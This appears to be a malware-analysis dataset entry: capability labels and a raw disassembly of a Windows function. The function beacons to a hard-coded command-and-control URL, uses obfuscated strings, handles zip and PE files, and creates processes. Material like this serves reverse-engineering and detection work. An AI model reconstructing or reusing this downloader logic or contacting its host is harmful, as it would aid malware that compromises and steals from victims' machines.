Function at 0x4081c5
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x432902
mov eax, dword fs:[0]
push eax
sub esp, 0x774
mov eax, dword [0x4447d0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor bl, bl
mov dword [ebp - 0x70c], 0
xor esi, esi
nop
lea eax, [ebp - 0x70c]
push eax
call fcn.00408b10
add esp, 4
inc esi
test bl, bl
push 0x64
mov edi, eax
setne bl
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jne 0x4071bb
cmp esi, 0x12c
jl 0x407190
lea eax, [ebp - 0x474]
push eax
call fcn.00407030
push 0x9c
lea eax, [ebp - 0x6c0]
push 0
push eax
mov dword [ebp - 4], 0
call fcn.0041c7a0
add esp, 0x10
lea ecx, [ebp - 0x48c]
push str.KCWDeEqvG_U_jWlRHpQdNTz
call fcn.00401120
lea eax, [ebp - 0x6c0]
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x6c0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test edi, edi
jne 0x40736f
push 1
lea ecx, [ebp - 0x544]
call fcn.0040e010
lea ecx, [ebp - 0x544]
call fcn.00415010
push 0x3ff
lea eax, [ebp - 0x413]
push edi
push eax
mov byte [ebp - 4], 2
mov byte [ebp - 0x414], 0
call fcn.0041c7a0
movzx eax, word [ebp - 0x62c]
add esp, 0xc
push eax
push dword [ebp - 0x6b8]
push dword [ebp - 0x6bc]
push dword [ebp - 0x70c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x750], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.h_t_t_p_:_____x_m_l_i_n_s_t_c_p_._d_d_b_b_v_t_._e_u___c_m_d___p_r_e_c_o_m_p_i_l_e_d_._h_t_m_l___q__2___d__m_a_y_o_r____d__m_i_n_o_r____d__s_p_a_c_k____d_
mov byte [ebp - 4], 3
call fcn.00401120
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 2
call fcn.00410300
add esp, 0x34
mov ecx, eax
call fcn.0040e3f0
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00404ba0
add esp, 0x18
lea ecx, [ebp - 0x444]
call fcn.00401190
lea ecx, [ebp - 0x48c]
call fcn.00401d50
cmp eax, 0xc8
jbe 0x4072e8
push str.ZJyqer_Cwde_uu_q_xFViLu
lea ecx, [ebp - 0x48c]
call fcn.004011b0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x544]
call fcn.00415af0
push 0x4344b0
lea ecx, [ebp - 0x544]
call fcn.00415b00
push 1
lea ecx, [ebp - 0x544]
call fcn.0040f840
lea ecx, [ebp - 0x48c]
call fcn.00401d50
cmp eax, 0x7a
jbe 0x407337
push str.oMTNgXYsngQhMUy_CZ_fLyh
lea ecx, [ebp - 0x48c]
call fcn.004011b0
lea ecx, [ebp - 0x544]
call fcn.004156e0
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 1
call fcn.00415190
lea ecx, [ebp - 0x48c]
call fcn.00401190
lea ecx, [ebp - 0x474]
call fcn.00401190
or eax, 0xffffffff
jmp 0x408aef
push str._KcWlyZLq_NtTWJrpN_zrLUg
lea ecx, [ebp - 0x4d4]
call fcn.00401120
lea ecx, [ebp - 0x45c]
call fcn.00401160
mov ebx, dword [ebp - 0x70c]
push ebx
push 0
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x750], esp
push 0x43456c
mov byte [ebp - 4], 5
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_0_
mov byte [ebp - 4], 6
call fcn.00401120
push esi
mov byte [ebp - 4], 5
call fcn.00410300
add esp, 0x34
lea eax, [ebp - 0x45c]
push eax
call fcn.004090d0
add esp, 0x28
mov esi, eax
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x70c], esp
push 0x43456c
mov dword [ebp - 0x750], esi
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.R_S_
mov byte [ebp - 4], 7
call fcn.00401120
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 5
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.00401c70
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 5
call fcn.00401190
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.004056e0
push 0x445cd0
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 9
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0xa
call fcn.00406d20
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x444]
call fcn.00401190
push str.mLRFGUJdDiUPJUGSTloowZ
lea ecx, [ebp - 0x4a4]
call fcn.00401120
push 0
push ebx
push esi
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
mov byte [ebp - 4], 0xb
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_1_
mov byte [ebp - 4], 0xc
call fcn.00401120
push esi
mov byte [ebp - 4], 0xb
call fcn.00410300
add esp, 0x34
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
call fcn.00409560
mov esi, eax
add esp, 0x2c
test esi, esi
jns 0x407822
xorps xmm0, xmm0
lea eax, [ebp - 0x4b4]
push eax
movq qword [ebp - 0x4b4], xmm0
movq qword [ebp - 0x4ac], xmm0
call dword [sym.imp.RPCRT4.dll_UuidCreate]
lea eax, [ebp - 0x70c]
push eax
lea eax, [ebp - 0x4b4]
push eax
mov dword [ebp - 0x70c], 0
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push dword [ebp - 0x70c]
lea ecx, [ebp - 0x45c]
call fcn.004011b0
push 8
push 0
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040f930
push eax
lea ecx, [ebp - 0x45c]
call fcn.004063e0
lea ecx, [ebp - 0x444]
call fcn.00401190
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x780]
push eax
call fcn.00401f20
push 0x445cd0
push eax
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 0xd
call fcn.00401ef0
add esp, 0x18
lea ecx, [ebp - 0x42c]
push eax
call fcn.004063e0
lea ecx, [ebp - 0x444]
call fcn.00401190
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0xb
call fcn.00401190
push 0
push ebx
push dword [ebp - 0x750]
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_1_
mov byte [ebp - 4], 0xe
call fcn.00401120
push esi
mov byte [ebp - 4], 0xb
call fcn.00410300
add esp, 0x34
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
call fcn.00409560
mov esi, eax
add esp, 0x2c
test esi, esi
jns 0x407822
lea ecx, [ebp - 0x4a4]
call fcn.00401d50
cmp eax, 0xa4
jbe 0x407660
push str.IxJtQcfOWfobOGPuJ_P
lea ecx, [ebp - 0x4a4]
call fcn.004011b0
push 1
lea ecx, [ebp - 0x544]
call fcn.0040e010
lea ecx, [ebp - 0x544]
call fcn.00415010
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0xf
call fcn.00401d50
cmp eax, 0x69
jbe 0x40769c
push str.rfzIzkWftlfEWH_NjS
lea ecx, [ebp - 0x48c]
call fcn.004011b0
push 0x3ff
lea eax, [ebp - 0x413]
push 0
push eax
mov byte [ebp - 0x414], 0
call fcn.0041c7a0
add esp, 0xc
lea ecx, [ebp - 0x4a4]
call fcn.00401d50
cmp eax, 0x6e
jbe 0x4076d9
push str.HCniHeOioHoiaSmLIib_JX
lea ecx, [ebp - 0x4a4]
call fcn.004011b0
movzx eax, word [ebp - 0x62c]
push eax
push dword [ebp - 0x6b8]
neg esi
push dword [ebp - 0x6bc]
push esi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.h_t_t_p_:_____x_m_l_i_n_s_t_c_p_._d_d_b_b_v_t_._e_u___c_m_d___p_r_e_c_o_m_p_i_l_e_d_._h_t_m_l___q__4___d__m_a_y_o_r____d__m_i_n_o_r____d__s_p_a_c_k____d_
mov byte [ebp - 4], 0x10
call fcn.00401120
lea eax, [ebp - 0x780]
push eax
mov byte [ebp - 4], 0xf
call fcn.00410300
add esp, 0x34
mov ecx, eax
call fcn.0040e3f0
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00404ba0
add esp, 0x18
lea ecx, [ebp - 0x780]
call fcn.00401190
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x544]
call fcn.00415af0
lea ecx, [ebp - 0x4a4]
call fcn.00401d50
cmp eax, 0x20
jbe 0x40777f
push str.OiuxH_kDhZqQkBEadxPB
lea ecx, [ebp - 0x4a4]
call fcn.004011b0
push 0x4344b0
lea ecx, [ebp - 0x544]
call fcn.00415b00
lea ecx, [ebp - 0x48c]
call fcn.00401d50
cmp eax, 0x64
jbe 0x4077af
push str.PLhPtS_lKwbdoaJRcVPgnbCV
lea ecx, [ebp - 0x48c]
call fcn.004011b0
push 1
lea ecx, [ebp - 0x544]
call fcn.0040f840
lea ecx, [ebp - 0x544]
call fcn.004156e0
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 0xb
call fcn.00415190
lea ecx, [ebp - 0x4a4]
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.00401190
lea ecx, [ebp - 0x45c]
call fcn.00401190
lea ecx, [ebp - 0x4d4]
call fcn.00401190
lea ecx, [ebp - 0x48c]
call fcn.00401190
lea ecx, [ebp - 0x474]
call fcn.00401190
mov eax, 0xfffffffb
jmp 0x408aef
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
lea ecx, [ebp - 0x4d4]
call fcn.00401d50
cmp eax, 0x42
jbe 0x407854
push str.Wc_SCYZbtaRpjrdXdzhgM
lea ecx, [ebp - 0x4d4]
call fcn.004011b0
push 0x445d04
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x780]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x11
call fcn.00406d20
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0xb
call fcn.00401190
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.q_q_l_
mov byte [ebp - 4], 0x12
call fcn.00401120
lea eax, [ebp - 0x780]
push eax
mov byte [ebp - 4], 0xb
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.00401c70
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0xb
call fcn.00401190
push 0
push ebx
push esi
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_2_
mov byte [ebp - 4], 0x14
call fcn.00401120
push esi
mov byte [ebp - 4], 0xb
call fcn.00410300
add esp, 0x34
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
call fcn.00409560
mov esi, eax
add esp, 0x2c
test esi, esi
jns 0x407990
lea ecx, [ebp - 0x4a4]
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.00401190
lea ecx, [ebp - 0x45c]
call fcn.00401190
lea ecx, [ebp - 0x4d4]
call fcn.00401190
lea ecx, [ebp - 0x48c]
call fcn.00401190
lea ecx, [ebp - 0x474]
call fcn.00401190
mov eax, 0xfffffffc
jmp 0x408aef
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
lea ecx, [ebp - 0x4d4]
call fcn.00401d50
cmp eax, 0x7f
jbe 0x4079c2
push str.OOBdqcdzCtTsiDLnOo_x
lea ecx, [ebp - 0x4d4]
call fcn.004011b0
push 0x445d38
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x780]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x15
call fcn.00406d20
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0xb
call fcn.00401190
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.._z_i_p_
mov byte [ebp - 4], 0x16
call fcn.00401120
lea eax, [ebp - 0x780]
push eax
mov byte [ebp - 4], 0xb
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x17
call fcn.0040e3f0
push eax
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x55c]
push eax
call fcn.00401fb0
add esp, 0xc
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0x19
call fcn.00401190
push 0
push ebx
push esi
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_3_
mov byte [ebp - 4], 0x1a
call fcn.00401120
push esi
mov byte [ebp - 4], 0x19
call fcn.00410300
add esp, 0x34
lea ecx, [ebp - 0x55c]
call fcn.0040e3f0
push eax
call fcn.00409560
mov esi, eax
add esp, 0x2c
test esi, esi
jns 0x407b18
lea ecx, [ebp - 0x55c]
call fcn.00401190
lea ecx, [ebp - 0x4a4]
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.00401190
lea ecx, [ebp - 0x45c]
call fcn.00401190
lea ecx, [ebp - 0x4d4]
call fcn.00401190
lea ecx, [ebp - 0x48c]
call fcn.00401190
lea ecx, [ebp - 0x474]
call fcn.00401190
mov eax, 0xfffffffd
jmp 0x408aef
lea ecx, [ebp - 0x42c]
call fcn.0040e3f0
push eax
push 0x445d38
lea ecx, [ebp - 0x55c]
call fcn.0040e3f0
push eax
call fcn.00409d70
add esp, 0xc
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.R_J_Q_
mov byte [ebp - 4], 0x1b
call fcn.00401120
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 0x19
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x1c
call fcn.00401c70
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x19
call fcn.00401190
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00406470
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.p_l_I_g_
mov byte [ebp - 4], 0x1d
call fcn.00401120
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 0x19
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x1e
call fcn.00401c70
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x19
call fcn.00401190
push 0x445d6c
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x1f
call fcn.00406d20
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x444]
call fcn.00401190
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.._z_i_p_
mov byte [ebp - 4], 0x20
call fcn.00401120
lea eax, [ebp - 0x4bc]
push eax
mov byte [ebp - 4], 0x19
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x21
call fcn.0040e3f0
push eax
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00401fb0
add esp, 0xc
lea ecx, [ebp - 0x55c]
push eax
call fcn.004063e0
lea ecx, [ebp - 0x444]
call fcn.00401190
lea ecx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x19
call fcn.00401190
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.L_u_X_S_
mov byte [ebp - 4], 0x22
call fcn.00401120
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 0x19
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x23
call fcn.00401c70
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x19
call fcn.00401190
push 0
push ebx
push esi
push edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_4_
mov byte [ebp - 4], 0x24
call fcn.00401120
lea eax, [ebp - 0x444]
push eax
mov byte [ebp - 4], 0x19
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x25
call fcn.0040e3f0
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401120
lea ecx, [ebp - 0x55c]
call fcn.0040e3f0
push eax
call fcn.00409560
add esp, 0x2c
lea ecx, [ebp - 0x444]
mov esi, eax
mov byte [ebp - 4], 0x19
call fcn.00401190
test esi, esi
jns 0x407df9
lea ecx, [ebp - 0x55c]
call fcn.00401190
lea ecx, [ebp - 0x4a4]
call fcn.00401190
lea ecx, [ebp - 0x42c]
call fcn.00401190
lea ecx, [ebp - 0x45c]
call fcn.00401190
lea ecx, [ebp - 0x4d4]
call fcn.00401190
lea ecx, [ebp - 0x48c]
call fcn.00401190
lea ecx, [ebp - 0x474]
call fcn.00401190
mov eax, 0xfffffffe
jmp 0x408aef
push str.IOVEnluqNgnnfQZjUNMP
lea ecx, [ebp - 0x574]
call fcn.00401120
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x26
call fcn.0040e3f0
push eax
push 0x445d6c
lea ecx, [ebp - 0x55c]
call fcn.0040e3f0
push eax
call fcn.00409d70
add esp, 0xc
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.A_O_A_Y_
mov byte [ebp - 4], 0x27
call fcn.00401120
lea eax, [ebp - 0x780]
push eax
mov byte [ebp - 4], 0x26
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x28
call fcn.00401c70
lea ecx, [ebp - 0x780]
call fcn.00401190
lea ecx, [ebp - 0x5ec]
call fcn.00401160
push ebx
push esi
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
mov byte [ebp - 4], 0x29
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_5_
mov byte [ebp - 4], 0x2a
call fcn.00401120
push esi
mov byte [ebp - 4], 0x29
call fcn.00410300
add esp, 0x34
lea eax, [ebp - 0x5ec]
push eax
call fcn.004090d0
add esp, 0x28
lea ecx, [ebp - 0x5d4]
mov esi, eax
call fcn.00401160
push ebx
push esi
push edi
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov byte [ebp - 4], 0x2b
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.v_a_l_u_e_6_
mov byte [ebp - 4], 0x2c
call fcn.00401120
push esi
mov byte [ebp - 4], 0x2b
call fcn.00410300
add esp, 0x34
lea eax, [ebp - 0x5d4]
push eax
call fcn.004090d0
mov eax, dword [0x4463b8]
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x5bc]
call fcn.00401120
push 0x4344b0
lea ecx, [ebp - 0x5a4]
mov byte [ebp - 4], 0x2d
call fcn.00401120
lea ecx, [ebp - 0x4d4]
mov byte [ebp - 4], 0x2e
call fcn.00401d50
cmp eax, 0xe4
jbe 0x407f8f
push str.PSJCDyocHLrgqLrIXL
lea ecx, [ebp - 0x4d4]
call fcn.004011b0
push 0x4344b0
lea ecx, [ebp - 0x58c]
call fcn.00401120
push 1
lea ecx, [ebp - 0x43c]
mov byte [ebp - 4], 0x30
call fcn.0040df50
push pe_nt_image_headers32
lea eax, [ebp - 0x5ec]
push eax
lea ecx, [ebp - 0x43c]
call fcn.00401d90
push 1
lea ecx, [ebp - 0x524]
call fcn.0040df70
lea ecx, [ebp - 0x524]
call fcn.004058a0
push 0
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x5bc]
push eax
mov byte [ebp - 4], 0x32
call fcn.00404ad0
add esp, 0x10
test al, al
je 0x408090
lea ecx, [ebp - 0x524]
call fcn.0040f850
test eax, eax
je 0x408090
lea eax, [ebp - 0x768]
push eax
push 1
lea ecx, [ebp - 0x524]
call fcn.004067b0
mov ecx, eax
call fcn.0040f8c0
mov esi, eax
lea eax, [ebp - 0x780]
push eax
push 1
lea ecx, [ebp - 0x524]
mov byte [ebp - 4], 0x33
call fcn.004067b0
mov ecx, eax
call fcn.0040f8c0
mov edi, eax
mov ecx, esi
mov byte [ebp - 4], 0x34
call fcn.00401d50
push eax
mov ecx, edi
call fcn.0040e3f0
push eax
lea ecx, [ebp - 0x5a4]
call fcn.0040e250
lea ecx, [ebp - 0x780]
call fcn.00401190
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x32
call fcn.00401190
lea ecx, [ebp - 0x574]
call fcn.00401d50
cmp eax, 0x47
jbe 0x4080b0
push str.pB_OTgJD_dLsEiIZkYbOw
lea ecx, [ebp - 0x574]
call fcn.004011b0
push 1
lea ecx, [ebp - 0x4b4]
call fcn.0040df50
push pe_nt_image_headers32
lea eax, [ebp - 0x5d4]
push eax
lea ecx, [ebp - 0x4b4]
call fcn.00401d90
push 1
lea ecx, [ebp - 0x624]
call fcn.0040df70
lea ecx, [ebp - 0x624]
call fcn.004058a0
push 0
lea eax, [ebp - 0x4b4]
push eax
lea eax, [ebp - 0x624]
push eax
lea eax, [ebp - 0x5bc]
push eax
mov byte [ebp - 4], 0x36
call fcn.00404ad0
add esp, 0x10
test al, al
je 0x408199
lea ecx, [ebp - 0x624]
call fcn.0040f850
test eax, eax
je 0x408199
lea eax, [ebp - 0x780]
push eax
push 1
lea ecx, [ebp - 0x624]
call fcn.004067b0
mov ecx, eax
call fcn.0040f8c0
mov esi, eax
lea eax, [ebp - 0x768]
push eax
push 1
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 0x37
call fcn.004067b0
mov ecx, eax
call fcn.0040f8c0
mov edi, eax
mov ecx, esi
mov byte [ebp - 4], 0x38
call fcn.00401d50
push eax
mov ecx, edi
call fcn.0040e3f0
push eax
lea ecx, [ebp - 0x58c]
call fcn.0040e250
lea ecx, [ebp - 0x768]
call fcn.00401190
lea ecx, [ebp - 0x780]
call fcn.00401190
lea ecx, [ebp - 0x624]
call fcn.00406120
lea ecx, [ebp - 0x4b4]
call fcn.004060c0
lea ecx, [ebp - 0x524]
call fcn.00406120
lea ecx, [ebp - 0x43c]
call fcn.004060c0
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x42c]
mov dword [ebp - 4], 0x2f
call fcn.00406470
push 0x445cd0
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x768]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x3a
call fcn.00406d20
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x2f
call fcn.00401190
push 0x20
push 0
push 0xa
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.C_W_
mov byte [ebp - 4], 0x3b
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x2f
call fcn.00410300
add esp, 0x34
mov ecx, eax
mov byte [ebp - 4], 0x3c
call fcn.00401c70
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x2f
call fcn.00401190
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.__K_E_Y_W_O_R_D__
mov byte [ebp - 4], 0x3d
call fcn.00401120
lea eax, [ebp - 0x4ec]
push eax
mov byte [ebp - 4], 0x2f
call fcn.00410300
push 0x43586c
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x780]
push eax
mov byte [ebp - 4], 0x3e
call fcn.00401fb0
add esp, 0x40
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x3f
call fcn.00406d20
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0x3e
call fcn.00401190
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.__P_A_T_H_F_I_L_E_S__
mov byte [ebp - 4], 0x40
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x3e
call fcn.00410300
add esp, 0x34
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x41
call fcn.00406d20
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x3e
call fcn.00401190
push 0x4358e0
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x42
call fcn.00406d20
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x3e
call fcn.00401190
lea ecx, [ebp - 0x5a4]
call fcn.00401d50
cmp eax, 1
jbe 0x40852b
lea ecx, [ebp - 0x58c]
call fcn.00401d50
cmp eax, 1
jbe 0x40852b
push 0x43586c
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x768]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x43
call fcn.00406d20
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x3e
call fcn.00401190
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.__A_D__
mov byte [ebp - 4], 0x44
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x3e
call fcn.00410300
add esp, 0x34
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x45
call fcn.00406d20
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x3e
call fcn.00401190
push 0x435910
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x780]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x46
call fcn.00406d20
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0x3e
call fcn.00401190
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x43456c
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.__C_K_E_Y__
mov byte [ebp - 4], 0x47
call fcn.00401120
lea eax, [ebp - 0x768]
push eax
mov byte [ebp - 4], 0x3e
call fcn.00410300
add esp, 0x34
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x48
call fcn.00406d20
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x3e
call fcn.00401190
push 0x4358e0
lea eax, [ebp - 0x58c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00401fb0
add esp, 0xc
push eax
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x49
call fcn.00406d20
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x3e
call fcn.00401190
lea ecx, [ebp - 0x574]
call fcn.00401d50
cmp eax, 0xb0
jbe 0x40852b
push str.DiiJqGjQliQkgEtDrsddU
lea ecx, [ebp - 0x574]
call fcn.004011b0
push 0x38
lea eax, [ebp - 0x744]
push 0
push eax
call fcn.0041c7a0
add esp, 0xc
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x748], 0x3c
mov dword [ebp - 0x744], 0x40
mov dword [ebp - 0x740], 0
mov dword [ebp - 0x73c], 0
call fcn.0040e3f0
lea ecx, [ebp - 0x4ec]
mov dword [ebp - 0x738], eax
call fcn.0040e3f0
push str.C_KRucu_zXVpfBLEafU
lea ecx, [ebp - 0x6f0]
mov dword [ebp - 0x734], eax
mov dword [ebp - 0x730], 0
call fcn.00401120
lea ecx, [ebp - 0x574]
mov byte [ebp - 4], 0x4a
call fcn.00401d50
cmp eax, 0x53
jbe 0x4085c6
